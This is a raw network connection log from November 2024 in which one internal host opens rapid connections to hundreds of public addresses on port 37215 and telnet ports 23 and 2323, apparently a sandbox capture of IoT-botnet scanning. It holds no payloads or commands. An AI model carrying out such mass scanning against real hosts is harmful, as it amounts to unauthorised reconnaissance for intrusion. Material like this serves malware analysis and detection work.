Nov 3, 2024 15:33:09.157071114 CET	4847	37215	192.168.2.14	41.98.12.155
Nov 3, 2024 15:33:09.157071114 CET	4847	37215	192.168.2.14	197.58.242.0
Nov 3, 2024 15:33:09.157073021 CET	4847	37215	192.168.2.14	41.20.22.113
Nov 3, 2024 15:33:09.157075882 CET	4847	37215	192.168.2.14	41.181.219.38
Nov 3, 2024 15:33:09.157075882 CET	4847	37215	192.168.2.14	156.49.80.39
Nov 3, 2024 15:33:09.157078981 CET	4847	37215	192.168.2.14	156.83.53.0
Nov 3, 2024 15:33:09.157078981 CET	4847	37215	192.168.2.14	156.42.185.14
Nov 3, 2024 15:33:09.157079935 CET	4847	37215	192.168.2.14	41.15.14.206
Nov 3, 2024 15:33:09.157079935 CET	4847	37215	192.168.2.14	197.247.92.98
Nov 3, 2024 15:33:09.157079935 CET	4847	37215	192.168.2.14	41.241.230.218
Nov 3, 2024 15:33:09.157088995 CET	4847	37215	192.168.2.14	41.236.239.81
Nov 3, 2024 15:33:09.157089949 CET	4847	37215	192.168.2.14	197.140.165.176
Nov 3, 2024 15:33:09.157089949 CET	4847	37215	192.168.2.14	156.22.145.228
Nov 3, 2024 15:33:09.157093048 CET	4847	37215	192.168.2.14	197.183.174.212
Nov 3, 2024 15:33:09.157093048 CET	4847	37215	192.168.2.14	197.248.24.81
Nov 3, 2024 15:33:09.157094002 CET	4847	37215	192.168.2.14	197.222.129.93
Nov 3, 2024 15:33:09.157104015 CET	4847	37215	192.168.2.14	41.99.54.98
Nov 3, 2024 15:33:09.157104015 CET	4847	37215	192.168.2.14	156.181.107.132
Nov 3, 2024 15:33:09.157107115 CET	4847	37215	192.168.2.14	41.93.67.60
Nov 3, 2024 15:33:09.157107115 CET	4847	37215	192.168.2.14	41.126.74.205
Nov 3, 2024 15:33:09.157109976 CET	4847	37215	192.168.2.14	197.231.5.88
Nov 3, 2024 15:33:09.157109976 CET	4847	37215	192.168.2.14	197.193.34.81
Nov 3, 2024 15:33:09.157111883 CET	4847	37215	192.168.2.14	197.10.222.67
Nov 3, 2024 15:33:09.157111883 CET	4847	37215	192.168.2.14	41.245.62.220
Nov 3, 2024 15:33:09.157111883 CET	4847	37215	192.168.2.14	156.184.105.67
Nov 3, 2024 15:33:09.157118082 CET	4847	37215	192.168.2.14	41.89.80.207
Nov 3, 2024 15:33:09.157123089 CET	4847	37215	192.168.2.14	41.20.184.137
Nov 3, 2024 15:33:09.157123089 CET	4847	37215	192.168.2.14	41.105.81.187
Nov 3, 2024 15:33:09.157128096 CET	4847	37215	192.168.2.14	197.129.144.21
Nov 3, 2024 15:33:09.157129049 CET	4847	37215	192.168.2.14	156.52.35.251
Nov 3, 2024 15:33:09.157145023 CET	4847	37215	192.168.2.14	156.65.226.69
Nov 3, 2024 15:33:09.157152891 CET	4847	37215	192.168.2.14	197.34.32.170
Nov 3, 2024 15:33:09.157160044 CET	4847	37215	192.168.2.14	41.22.151.141
Nov 3, 2024 15:33:09.157162905 CET	4847	37215	192.168.2.14	197.225.40.83
Nov 3, 2024 15:33:09.157162905 CET	4847	37215	192.168.2.14	156.245.142.17
Nov 3, 2024 15:33:09.157164097 CET	4847	37215	192.168.2.14	197.232.242.20
Nov 3, 2024 15:33:09.157169104 CET	4847	37215	192.168.2.14	197.203.81.118
Nov 3, 2024 15:33:09.157170057 CET	4847	37215	192.168.2.14	41.23.118.247
Nov 3, 2024 15:33:09.157169104 CET	4847	37215	192.168.2.14	41.151.221.205
Nov 3, 2024 15:33:09.157169104 CET	4847	37215	192.168.2.14	197.162.171.46
Nov 3, 2024 15:33:09.157181978 CET	4847	37215	192.168.2.14	156.40.76.16
Nov 3, 2024 15:33:09.157187939 CET	4847	37215	192.168.2.14	156.207.87.49
Nov 3, 2024 15:33:09.157197952 CET	4847	37215	192.168.2.14	41.4.130.34
Nov 3, 2024 15:33:09.157203913 CET	4847	37215	192.168.2.14	41.186.188.5
Nov 3, 2024 15:33:09.157212973 CET	4847	37215	192.168.2.14	41.16.235.187
Nov 3, 2024 15:33:09.157217026 CET	4847	37215	192.168.2.14	156.178.207.33
Nov 3, 2024 15:33:09.157231092 CET	4847	37215	192.168.2.14	41.105.209.129
Nov 3, 2024 15:33:09.157236099 CET	4847	37215	192.168.2.14	197.198.111.21
Nov 3, 2024 15:33:09.157241106 CET	4847	37215	192.168.2.14	156.107.189.144
Nov 3, 2024 15:33:09.157257080 CET	4847	37215	192.168.2.14	197.68.153.194
Nov 3, 2024 15:33:09.157258987 CET	4847	37215	192.168.2.14	156.103.70.96
Nov 3, 2024 15:33:09.157263994 CET	4847	37215	192.168.2.14	41.13.154.154
Nov 3, 2024 15:33:09.157278061 CET	4847	37215	192.168.2.14	156.249.45.177
Nov 3, 2024 15:33:09.157284021 CET	4847	37215	192.168.2.14	156.68.185.23
Nov 3, 2024 15:33:09.157286882 CET	4847	37215	192.168.2.14	156.124.215.253
Nov 3, 2024 15:33:09.157300949 CET	4847	37215	192.168.2.14	156.13.63.25
Nov 3, 2024 15:33:09.157305002 CET	4847	37215	192.168.2.14	197.27.9.90
Nov 3, 2024 15:33:09.157315016 CET	4847	37215	192.168.2.14	41.82.174.196
Nov 3, 2024 15:33:09.157316923 CET	4847	37215	192.168.2.14	156.61.67.154
Nov 3, 2024 15:33:09.157326937 CET	4847	37215	192.168.2.14	156.16.10.137
Nov 3, 2024 15:33:09.157330036 CET	4847	37215	192.168.2.14	41.194.163.155
Nov 3, 2024 15:33:09.157332897 CET	4847	37215	192.168.2.14	41.36.4.188
Nov 3, 2024 15:33:09.157336950 CET	4847	37215	192.168.2.14	197.235.247.42
Nov 3, 2024 15:33:09.157341957 CET	4847	37215	192.168.2.14	41.97.97.116
Nov 3, 2024 15:33:09.157358885 CET	4847	37215	192.168.2.14	156.172.186.26
Nov 3, 2024 15:33:09.157358885 CET	4847	37215	192.168.2.14	156.109.228.69
Nov 3, 2024 15:33:09.157358885 CET	4847	37215	192.168.2.14	156.235.27.152
Nov 3, 2024 15:33:09.157367945 CET	4847	37215	192.168.2.14	197.192.7.240
Nov 3, 2024 15:33:09.157368898 CET	4847	37215	192.168.2.14	197.15.84.188
Nov 3, 2024 15:33:09.157382965 CET	4847	37215	192.168.2.14	156.7.82.158
Nov 3, 2024 15:33:09.157388926 CET	4847	37215	192.168.2.14	156.21.8.230
Nov 3, 2024 15:33:09.157397985 CET	4847	37215	192.168.2.14	197.225.175.113
Nov 3, 2024 15:33:09.157397985 CET	4847	37215	192.168.2.14	156.73.82.192
Nov 3, 2024 15:33:09.157406092 CET	4847	37215	192.168.2.14	156.170.38.190
Nov 3, 2024 15:33:09.157423973 CET	4847	37215	192.168.2.14	156.160.124.188
Nov 3, 2024 15:33:09.157423973 CET	4847	37215	192.168.2.14	41.13.188.218
Nov 3, 2024 15:33:09.157428980 CET	4847	37215	192.168.2.14	41.161.234.182
Nov 3, 2024 15:33:09.157433033 CET	4847	37215	192.168.2.14	41.106.198.6
Nov 3, 2024 15:33:09.157433033 CET	4847	37215	192.168.2.14	197.76.211.49
Nov 3, 2024 15:33:09.157433987 CET	4847	37215	192.168.2.14	156.140.223.211
Nov 3, 2024 15:33:09.157449961 CET	4847	37215	192.168.2.14	156.16.46.110
Nov 3, 2024 15:33:09.157452106 CET	4847	37215	192.168.2.14	197.180.207.63
Nov 3, 2024 15:33:09.157454967 CET	4847	37215	192.168.2.14	197.31.31.133
Nov 3, 2024 15:33:09.157459974 CET	4847	37215	192.168.2.14	197.149.248.185
Nov 3, 2024 15:33:09.157464027 CET	4847	37215	192.168.2.14	197.240.181.57
Nov 3, 2024 15:33:09.157483101 CET	4847	37215	192.168.2.14	41.126.108.146
Nov 3, 2024 15:33:09.157486916 CET	4847	37215	192.168.2.14	41.76.24.51
Nov 3, 2024 15:33:09.157495022 CET	4847	37215	192.168.2.14	41.69.48.63
Nov 3, 2024 15:33:09.157495022 CET	4847	37215	192.168.2.14	197.166.200.145
Nov 3, 2024 15:33:09.157511950 CET	4847	37215	192.168.2.14	41.119.0.101
Nov 3, 2024 15:33:09.157520056 CET	4847	37215	192.168.2.14	156.248.19.8
Nov 3, 2024 15:33:09.157520056 CET	4847	37215	192.168.2.14	197.13.175.31
Nov 3, 2024 15:33:09.157526970 CET	4847	37215	192.168.2.14	197.100.92.140
Nov 3, 2024 15:33:09.157530069 CET	4847	37215	192.168.2.14	156.184.180.236
Nov 3, 2024 15:33:09.157541037 CET	4847	37215	192.168.2.14	156.195.18.73
Nov 3, 2024 15:33:09.157547951 CET	4847	37215	192.168.2.14	197.34.139.234
Nov 3, 2024 15:33:09.157550097 CET	4847	37215	192.168.2.14	41.129.46.133
Nov 3, 2024 15:33:09.157550097 CET	4847	37215	192.168.2.14	156.228.164.221
Nov 3, 2024 15:33:09.157555103 CET	4847	37215	192.168.2.14	41.106.203.191
Nov 3, 2024 15:33:09.157567024 CET	4847	37215	192.168.2.14	156.108.18.80
Nov 3, 2024 15:33:09.157568932 CET	4847	37215	192.168.2.14	41.248.244.102
Nov 3, 2024 15:33:09.157568932 CET	4847	37215	192.168.2.14	41.130.15.157
Nov 3, 2024 15:33:09.157572985 CET	4847	37215	192.168.2.14	41.94.254.76
Nov 3, 2024 15:33:09.157577038 CET	4847	37215	192.168.2.14	41.253.198.212
Nov 3, 2024 15:33:09.157578945 CET	4847	37215	192.168.2.14	156.203.235.200
Nov 3, 2024 15:33:09.157596111 CET	4847	37215	192.168.2.14	41.148.183.27
Nov 3, 2024 15:33:09.157598019 CET	4847	37215	192.168.2.14	156.204.22.173
Nov 3, 2024 15:33:09.157603025 CET	4847	37215	192.168.2.14	197.230.156.14
Nov 3, 2024 15:33:09.157617092 CET	4847	37215	192.168.2.14	197.178.71.137
Nov 3, 2024 15:33:09.157622099 CET	4847	37215	192.168.2.14	156.73.62.204
Nov 3, 2024 15:33:09.157625914 CET	4847	37215	192.168.2.14	156.250.38.39
Nov 3, 2024 15:33:09.157641888 CET	4847	37215	192.168.2.14	41.15.30.181
Nov 3, 2024 15:33:09.157644987 CET	4847	37215	192.168.2.14	41.173.56.191
Nov 3, 2024 15:33:09.157644987 CET	4847	37215	192.168.2.14	41.234.90.177
Nov 3, 2024 15:33:09.157649040 CET	4847	37215	192.168.2.14	156.175.60.133
Nov 3, 2024 15:33:09.157649040 CET	4847	37215	192.168.2.14	156.199.143.170
Nov 3, 2024 15:33:09.157666922 CET	4847	37215	192.168.2.14	197.126.186.240
Nov 3, 2024 15:33:09.157885075 CET	46796	37215	192.168.2.14	156.150.29.143
Nov 3, 2024 15:33:09.157885075 CET	38072	37215	192.168.2.14	41.104.63.38
Nov 3, 2024 15:33:09.157905102 CET	46500	37215	192.168.2.14	41.247.161.60
Nov 3, 2024 15:33:09.157924891 CET	33176	37215	192.168.2.14	41.14.57.126
Nov 3, 2024 15:33:09.157924891 CET	33176	37215	192.168.2.14	41.14.57.126
Nov 3, 2024 15:33:09.158281088 CET	33290	37215	192.168.2.14	41.14.57.126
Nov 3, 2024 15:33:09.158627033 CET	51586	37215	192.168.2.14	197.12.141.193
Nov 3, 2024 15:33:09.158627987 CET	51586	37215	192.168.2.14	197.12.141.193
Nov 3, 2024 15:33:09.158890963 CET	51690	37215	192.168.2.14	197.12.141.193
Nov 3, 2024 15:33:09.159251928 CET	36468	37215	192.168.2.14	156.58.196.76
Nov 3, 2024 15:33:09.159280062 CET	36468	37215	192.168.2.14	156.58.196.76
Nov 3, 2024 15:33:09.159523964 CET	36570	37215	192.168.2.14	156.58.196.76
Nov 3, 2024 15:33:09.159909964 CET	53032	37215	192.168.2.14	197.200.127.154
Nov 3, 2024 15:33:09.159909964 CET	53032	37215	192.168.2.14	197.200.127.154
Nov 3, 2024 15:33:09.160248041 CET	53164	37215	192.168.2.14	197.200.127.154
Nov 3, 2024 15:33:09.160598993 CET	42560	37215	192.168.2.14	197.53.160.110
Nov 3, 2024 15:33:09.160598993 CET	42560	37215	192.168.2.14	197.53.160.110
Nov 3, 2024 15:33:09.160865068 CET	42686	37215	192.168.2.14	197.53.160.110
Nov 3, 2024 15:33:09.161214113 CET	35748	37215	192.168.2.14	41.14.37.113
Nov 3, 2024 15:33:09.161214113 CET	35748	37215	192.168.2.14	41.14.37.113
Nov 3, 2024 15:33:09.161480904 CET	35868	37215	192.168.2.14	41.14.37.113
Nov 3, 2024 15:33:09.161830902 CET	45598	37215	192.168.2.14	156.244.104.217
Nov 3, 2024 15:33:09.161830902 CET	45598	37215	192.168.2.14	156.244.104.217
Nov 3, 2024 15:33:09.162086010 CET	45716	37215	192.168.2.14	156.244.104.217
Nov 3, 2024 15:33:09.162432909 CET	51232	37215	192.168.2.14	41.156.32.14
Nov 3, 2024 15:33:09.162432909 CET	51232	37215	192.168.2.14	41.156.32.14
Nov 3, 2024 15:33:09.162693977 CET	51340	37215	192.168.2.14	41.156.32.14
Nov 3, 2024 15:33:09.163947105 CET	2323	4833	101.34.234.227	192.168.2.14
Nov 3, 2024 15:33:09.163958073 CET	23	4833	117.83.25.136	192.168.2.14
Nov 3, 2024 15:33:09.163968086 CET	23	4833	66.199.189.192	192.168.2.14
Nov 3, 2024 15:33:09.163978100 CET	23	4833	97.55.15.194	192.168.2.14
Nov 3, 2024 15:33:09.163990021 CET	23	4833	65.105.43.156	192.168.2.14
Nov 3, 2024 15:33:09.163997889 CET	23	4833	117.150.121.183	192.168.2.14
Nov 3, 2024 15:33:09.164002895 CET	4833	2323	192.168.2.14	101.34.234.227
Nov 3, 2024 15:33:09.164007902 CET	4833	23	192.168.2.14	117.83.25.136
Nov 3, 2024 15:33:09.164011002 CET	4833	23	192.168.2.14	66.199.189.192
Nov 3, 2024 15:33:09.164016962 CET	4833	23	192.168.2.14	97.55.15.194
Nov 3, 2024 15:33:09.164017916 CET	4833	23	192.168.2.14	65.105.43.156
Nov 3, 2024 15:33:09.164043903 CET	23	4833	9.150.48.58	192.168.2.14
Nov 3, 2024 15:33:09.164047956 CET	4833	23	192.168.2.14	117.150.121.183
Nov 3, 2024 15:33:09.164057970 CET	2323	4833	53.200.155.251	192.168.2.14
Nov 3, 2024 15:33:09.164067984 CET	23	4833	113.59.187.96	192.168.2.14
Nov 3, 2024 15:33:09.164077997 CET	23	4833	69.74.136.96	192.168.2.14
Nov 3, 2024 15:33:09.164077044 CET	4833	23	192.168.2.14	9.150.48.58
Nov 3, 2024 15:33:09.164086103 CET	4833	2323	192.168.2.14	53.200.155.251
Nov 3, 2024 15:33:09.164086103 CET	4833	23	192.168.2.14	113.59.187.96
Nov 3, 2024 15:33:09.164087057 CET	23	4833	147.149.206.94	192.168.2.14
Nov 3, 2024 15:33:09.164097071 CET	23	4833	65.184.247.193	192.168.2.14
Nov 3, 2024 15:33:09.164105892 CET	23	4833	198.40.22.80	192.168.2.14
Nov 3, 2024 15:33:09.164113998 CET	4833	23	192.168.2.14	69.74.136.96
Nov 3, 2024 15:33:09.164113998 CET	37215	52834	41.37.66.5	192.168.2.14
Nov 3, 2024 15:33:09.164119005 CET	4833	23	192.168.2.14	147.149.206.94
Nov 3, 2024 15:33:09.164140940 CET	4833	23	192.168.2.14	198.40.22.80
Nov 3, 2024 15:33:09.164141893 CET	4833	23	192.168.2.14	65.184.247.193
Nov 3, 2024 15:33:09.164308071 CET	37215	4847	156.171.108.22	192.168.2.14
Nov 3, 2024 15:33:09.164350033 CET	4847	37215	192.168.2.14	156.171.108.22
Nov 3, 2024 15:33:09.164473057 CET	23	4833	78.24.159.130	192.168.2.14
Nov 3, 2024 15:33:09.164483070 CET	23	4833	159.100.98.2	192.168.2.14
Nov 3, 2024 15:33:09.164493084 CET	23	4833	197.168.233.202	192.168.2.14
Nov 3, 2024 15:33:09.164503098 CET	23	4833	20.157.105.117	192.168.2.14
Nov 3, 2024 15:33:09.164510012 CET	4833	23	192.168.2.14	78.24.159.130
Nov 3, 2024 15:33:09.164511919 CET	23	4833	155.134.152.242	192.168.2.14
Nov 3, 2024 15:33:09.164516926 CET	4833	23	192.168.2.14	159.100.98.2
Nov 3, 2024 15:33:09.164521933 CET	23	4833	151.96.52.151	192.168.2.14
Nov 3, 2024 15:33:09.164530039 CET	23	4833	77.48.212.93	192.168.2.14
Nov 3, 2024 15:33:09.164536953 CET	4833	23	192.168.2.14	197.168.233.202
Nov 3, 2024 15:33:09.164536953 CET	4833	23	192.168.2.14	20.157.105.117
Nov 3, 2024 15:33:09.164540052 CET	23	4833	32.129.231.150	192.168.2.14
Nov 3, 2024 15:33:09.164550066 CET	23	4833	111.20.113.80	192.168.2.14
Nov 3, 2024 15:33:09.164556980 CET	4833	23	192.168.2.14	151.96.52.151
Nov 3, 2024 15:33:09.164558887 CET	4833	23	192.168.2.14	155.134.152.242
Nov 3, 2024 15:33:09.164558887 CET	4833	23	192.168.2.14	77.48.212.93
Nov 3, 2024 15:33:09.164560080 CET	23	4833	174.191.198.94	192.168.2.14
Nov 3, 2024 15:33:09.164566040 CET	4833	23	192.168.2.14	32.129.231.150
Nov 3, 2024 15:33:09.164571047 CET	23	4833	14.177.183.129	192.168.2.14
Nov 3, 2024 15:33:09.164581060 CET	23	4833	78.73.160.163	192.168.2.14
Nov 3, 2024 15:33:09.164587021 CET	4833	23	192.168.2.14	111.20.113.80
Nov 3, 2024 15:33:09.164591074 CET	23	4833	83.224.226.133	192.168.2.14
Nov 3, 2024 15:33:09.164601088 CET	23	4833	180.133.129.93	192.168.2.14
Nov 3, 2024 15:33:09.164601088 CET	4833	23	192.168.2.14	174.191.198.94
Nov 3, 2024 15:33:09.164602041 CET	4833	23	192.168.2.14	14.177.183.129
Nov 3, 2024 15:33:09.164609909 CET	37215	4847	197.78.199.67	192.168.2.14
Nov 3, 2024 15:33:09.164619923 CET	2323	4833	106.169.243.100	192.168.2.14
Nov 3, 2024 15:33:09.164623022 CET	4833	23	192.168.2.14	78.73.160.163
Nov 3, 2024 15:33:09.164623976 CET	4833	23	192.168.2.14	83.224.226.133
Nov 3, 2024 15:33:09.164628983 CET	23	4833	42.222.112.187	192.168.2.14
Nov 3, 2024 15:33:09.164628983 CET	4833	23	192.168.2.14	180.133.129.93
Nov 3, 2024 15:33:09.164638996 CET	23	4833	220.228.148.201	192.168.2.14
Nov 3, 2024 15:33:09.164650917 CET	4847	37215	192.168.2.14	197.78.199.67
Nov 3, 2024 15:33:09.164650917 CET	37215	4847	197.86.1.46	192.168.2.14
Nov 3, 2024 15:33:09.164658070 CET	4833	2323	192.168.2.14	106.169.243.100
Nov 3, 2024 15:33:09.164661884 CET	4833	23	192.168.2.14	42.222.112.187
Nov 3, 2024 15:33:09.164663076 CET	23	4833	114.133.194.12	192.168.2.14
Nov 3, 2024 15:33:09.164676905 CET	4833	23	192.168.2.14	220.228.148.201
Nov 3, 2024 15:33:09.164684057 CET	4847	37215	192.168.2.14	197.86.1.46
Nov 3, 2024 15:33:09.164701939 CET	4833	23	192.168.2.14	114.133.194.12
Nov 3, 2024 15:33:09.164753914 CET	23	4833	212.96.80.84	192.168.2.14
Nov 3, 2024 15:33:09.164763927 CET	23	4833	47.190.67.118	192.168.2.14
Nov 3, 2024 15:33:09.164772034 CET	37215	4847	156.69.79.25	192.168.2.14
Nov 3, 2024 15:33:09.164794922 CET	4833	23	192.168.2.14	47.190.67.118
Nov 3, 2024 15:33:09.164796114 CET	4833	23	192.168.2.14	212.96.80.84
Nov 3, 2024 15:33:09.164812088 CET	4847	37215	192.168.2.14	156.69.79.25
Nov 3, 2024 15:33:09.164866924 CET	2323	4833	153.207.219.119	192.168.2.14
Nov 3, 2024 15:33:09.164876938 CET	23	4833	110.75.216.213	192.168.2.14
Nov 3, 2024 15:33:09.164885998 CET	37215	4847	197.240.205.11	192.168.2.14
Nov 3, 2024 15:33:09.164896965 CET	37215	4847	197.228.188.180	192.168.2.14
Nov 3, 2024 15:33:09.164906025 CET	37215	4847	156.163.100.169	192.168.2.14
Nov 3, 2024 15:33:09.164911032 CET	4833	2323	192.168.2.14	153.207.219.119
Nov 3, 2024 15:33:09.164911032 CET	4833	23	192.168.2.14	110.75.216.213
Nov 3, 2024 15:33:09.164915085 CET	37215	33176	41.14.57.126	192.168.2.14
Nov 3, 2024 15:33:09.164921999 CET	4847	37215	192.168.2.14	197.240.205.11
Nov 3, 2024 15:33:09.164927006 CET	4847	37215	192.168.2.14	197.228.188.180
Nov 3, 2024 15:33:09.164936066 CET	4847	37215	192.168.2.14	156.163.100.169
Nov 3, 2024 15:33:09.165427923 CET	37215	51586	197.12.141.193	192.168.2.14
Nov 3, 2024 15:33:09.166105032 CET	37215	36468	156.58.196.76	192.168.2.14
Nov 3, 2024 15:33:09.166543007 CET	37215	36570	156.58.196.76	192.168.2.14
Nov 3, 2024 15:33:09.166552067 CET	37215	52834	41.37.66.5	192.168.2.14
Nov 3, 2024 15:33:09.166585922 CET	36570	37215	192.168.2.14	156.58.196.76
Nov 3, 2024 15:33:09.166589975 CET	52834	37215	192.168.2.14	41.37.66.5
Nov 3, 2024 15:33:09.166624069 CET	36570	37215	192.168.2.14	156.58.196.76
Nov 3, 2024 15:33:09.166836023 CET	2323	45624	145.150.251.97	192.168.2.14
Nov 3, 2024 15:33:09.166845083 CET	37215	53032	197.200.127.154	192.168.2.14
Nov 3, 2024 15:33:09.166898966 CET	54656	37215	192.168.2.14	156.171.108.22
Nov 3, 2024 15:33:09.166924953 CET	45624	2323	192.168.2.14	145.150.251.97
Nov 3, 2024 15:33:09.167103052 CET	37215	33176	41.14.57.126	192.168.2.14
Nov 3, 2024 15:33:09.167496920 CET	37215	51586	197.12.141.193	192.168.2.14
Nov 3, 2024 15:33:09.167629004 CET	45766	2323	192.168.2.14	145.150.251.97
Nov 3, 2024 15:33:09.167649031 CET	37215	42560	197.53.160.110	192.168.2.14
Nov 3, 2024 15:33:09.167778015 CET	23	53468	9.207.19.141	192.168.2.14
Nov 3, 2024 15:33:09.167928934 CET	23	35826	133.16.228.85	192.168.2.14
Nov 3, 2024 15:33:09.168059111 CET	37215	36468	156.58.196.76	192.168.2.14
Nov 3, 2024 15:33:09.168068886 CET	23	37228	174.221.250.49	192.168.2.14
Nov 3, 2024 15:33:09.168121099 CET	56454	37215	192.168.2.14	197.78.199.67
Nov 3, 2024 15:33:09.168196917 CET	23	59022	121.12.149.163	192.168.2.14
Nov 3, 2024 15:33:09.168206930 CET	37215	35748	41.14.37.113	192.168.2.14
Nov 3, 2024 15:33:09.168457985 CET	23	34266	120.177.102.56	192.168.2.14
Nov 3, 2024 15:33:09.168507099 CET	37228	23	192.168.2.14	174.221.250.49
Nov 3, 2024 15:33:09.168844938 CET	53468	23	192.168.2.14	9.207.19.141
Nov 3, 2024 15:33:09.168844938 CET	34266	23	192.168.2.14	120.177.102.56
Nov 3, 2024 15:33:09.168844938 CET	59022	23	192.168.2.14	121.12.149.163
Nov 3, 2024 15:33:09.168844938 CET	35826	23	192.168.2.14	133.16.228.85
Nov 3, 2024 15:33:09.168932915 CET	23	55666	144.82.75.132	192.168.2.14
Nov 3, 2024 15:33:09.168943882 CET	37215	45598	156.244.104.217	192.168.2.14
Nov 3, 2024 15:33:09.168952942 CET	37215	51232	41.156.32.14	192.168.2.14
Nov 3, 2024 15:33:09.168981075 CET	51232	37215	192.168.2.14	41.156.32.14
Nov 3, 2024 15:33:09.169097900 CET	37215	42560	197.53.160.110	192.168.2.14
Nov 3, 2024 15:33:09.169214964 CET	37362	23	192.168.2.14	174.221.250.49
Nov 3, 2024 15:33:09.169241905 CET	23	59082	149.152.23.218	192.168.2.14
Nov 3, 2024 15:33:09.169301987 CET	43040	37215	192.168.2.14	197.86.1.46
Nov 3, 2024 15:33:09.169389009 CET	37215	51232	41.156.32.14	192.168.2.14
Nov 3, 2024 15:33:09.169398069 CET	37215	51232	41.156.32.14	192.168.2.14
Nov 3, 2024 15:33:09.169405937 CET	37215	45598	156.244.104.217	192.168.2.14
Nov 3, 2024 15:33:09.169538975 CET	37215	35748	41.14.37.113	192.168.2.14
Nov 3, 2024 15:33:09.169548988 CET	37215	46796	156.150.29.143	192.168.2.14
Nov 3, 2024 15:33:09.169589043 CET	46796	37215	192.168.2.14	156.150.29.143
Nov 3, 2024 15:33:09.169682026 CET	37215	38072	41.104.63.38	192.168.2.14
Nov 3, 2024 15:33:09.169689894 CET	23	47426	122.80.73.254	192.168.2.14
Nov 3, 2024 15:33:09.169713974 CET	38072	37215	192.168.2.14	41.104.63.38
Nov 3, 2024 15:33:09.169821978 CET	37215	46500	41.247.161.60	192.168.2.14
Nov 3, 2024 15:33:09.169831991 CET	37215	53032	197.200.127.154	192.168.2.14
Nov 3, 2024 15:33:09.169857025 CET	46500	37215	192.168.2.14	41.247.161.60
Nov 3, 2024 15:33:09.170053005 CET	53468	23	192.168.2.14	9.207.19.141
Nov 3, 2024 15:33:09.170640945 CET	41260	37215	192.168.2.14	156.69.79.25
Nov 3, 2024 15:33:09.170762062 CET	53612	23	192.168.2.14	9.207.19.141
Nov 3, 2024 15:33:09.171614885 CET	59022	23	192.168.2.14	121.12.149.163
Nov 3, 2024 15:33:09.172101974 CET	50404	37215	192.168.2.14	197.240.205.11
Nov 3, 2024 15:33:09.172308922 CET	59162	23	192.168.2.14	121.12.149.163
Nov 3, 2024 15:33:09.172841072 CET	55666	23	192.168.2.14	144.82.75.132
Nov 3, 2024 15:33:09.172842979 CET	59082	23	192.168.2.14	149.152.23.218
Nov 3, 2024 15:33:09.172847986 CET	47426	23	192.168.2.14	122.80.73.254
Nov 3, 2024 15:33:09.172993898 CET	35826	23	192.168.2.14	133.16.228.85
Nov 3, 2024 15:33:09.173486948 CET	53166	37215	192.168.2.14	197.228.188.180
Nov 3, 2024 15:33:09.173587084 CET	35962	23	192.168.2.14	133.16.228.85
Nov 3, 2024 15:33:09.173628092 CET	37215	36570	156.58.196.76	192.168.2.14
Nov 3, 2024 15:33:09.173638105 CET	2323	45624	145.150.251.97	192.168.2.14
Nov 3, 2024 15:33:09.173671007 CET	36570	37215	192.168.2.14	156.58.196.76
Nov 3, 2024 15:33:09.174407959 CET	47426	23	192.168.2.14	122.80.73.254
Nov 3, 2024 15:33:09.174886942 CET	55918	37215	192.168.2.14	156.163.100.169
Nov 3, 2024 15:33:09.174997091 CET	47594	23	192.168.2.14	122.80.73.254
Nov 3, 2024 15:33:09.175447941 CET	23	37228	174.221.250.49	192.168.2.14
Nov 3, 2024 15:33:09.175756931 CET	55666	23	192.168.2.14	144.82.75.132
Nov 3, 2024 15:33:09.175890923 CET	37215	51232	41.156.32.14	192.168.2.14
Nov 3, 2024 15:33:09.176052094 CET	55828	23	192.168.2.14	144.82.75.132
Nov 3, 2024 15:33:09.176465988 CET	59082	23	192.168.2.14	149.152.23.218
Nov 3, 2024 15:33:09.176755905 CET	59256	23	192.168.2.14	149.152.23.218
Nov 3, 2024 15:33:09.176821947 CET	23	53468	9.207.19.141	192.168.2.14
Nov 3, 2024 15:33:09.177153111 CET	34266	23	192.168.2.14	120.177.102.56
Nov 3, 2024 15:33:09.177464962 CET	34408	23	192.168.2.14	120.177.102.56
Nov 3, 2024 15:33:09.178590059 CET	23	59022	121.12.149.163	192.168.2.14
Nov 3, 2024 15:33:09.178993940 CET	37215	50404	197.240.205.11	192.168.2.14
Nov 3, 2024 15:33:09.179054022 CET	50404	37215	192.168.2.14	197.240.205.11
Nov 3, 2024 15:33:09.179117918 CET	50404	37215	192.168.2.14	197.240.205.11
Nov 3, 2024 15:33:09.179119110 CET	50404	37215	192.168.2.14	197.240.205.11
Nov 3, 2024 15:33:09.179385900 CET	50422	37215	192.168.2.14	197.240.205.11
Nov 3, 2024 15:33:09.179702044 CET	23	35826	133.16.228.85	192.168.2.14
Nov 3, 2024 15:33:09.180841923 CET	38768	37215	192.168.2.14	197.115.157.163
Nov 3, 2024 15:33:09.180841923 CET	57902	37215	192.168.2.14	156.173.6.170
Nov 3, 2024 15:33:09.180846930 CET	53796	23	192.168.2.14	182.72.169.201
Nov 3, 2024 15:33:09.180846930 CET	55646	37215	192.168.2.14	156.59.172.146
Nov 3, 2024 15:33:09.180849075 CET	59428	2323	192.168.2.14	27.214.85.5
Nov 3, 2024 15:33:09.180855989 CET	36342	37215	192.168.2.14	197.150.8.47
Nov 3, 2024 15:33:09.180860043 CET	56586	37215	192.168.2.14	156.134.16.37
Nov 3, 2024 15:33:09.180866957 CET	44576	37215	192.168.2.14	197.152.180.44
Nov 3, 2024 15:33:09.180871010 CET	44598	37215	192.168.2.14	41.78.4.178
Nov 3, 2024 15:33:09.180882931 CET	38788	37215	192.168.2.14	41.216.165.232
Nov 3, 2024 15:33:09.180892944 CET	54890	37215	192.168.2.14	197.13.1.213
Nov 3, 2024 15:33:09.180896044 CET	41720	37215	192.168.2.14	156.230.176.53
Nov 3, 2024 15:33:09.180896997 CET	44672	37215	192.168.2.14	156.1.212.225
Nov 3, 2024 15:33:09.180896997 CET	37820	37215	192.168.2.14	156.116.193.70
Nov 3, 2024 15:33:09.180897951 CET	52644	37215	192.168.2.14	156.141.61.80
Nov 3, 2024 15:33:09.180907011 CET	32884	37215	192.168.2.14	41.73.145.143
Nov 3, 2024 15:33:09.180907011 CET	38814	37215	192.168.2.14	156.109.25.155
Nov 3, 2024 15:33:09.180910110 CET	60604	37215	192.168.2.14	197.40.97.9
Nov 3, 2024 15:33:09.180912971 CET	45104	37215	192.168.2.14	197.128.115.142
Nov 3, 2024 15:33:09.181353092 CET	23	47426	122.80.73.254	192.168.2.14
Nov 3, 2024 15:33:09.182662010 CET	23	55666	144.82.75.132	192.168.2.14
Nov 3, 2024 15:33:09.183370113 CET	23	59082	149.152.23.218	192.168.2.14
Nov 3, 2024 15:33:09.183878899 CET	23	34266	120.177.102.56	192.168.2.14
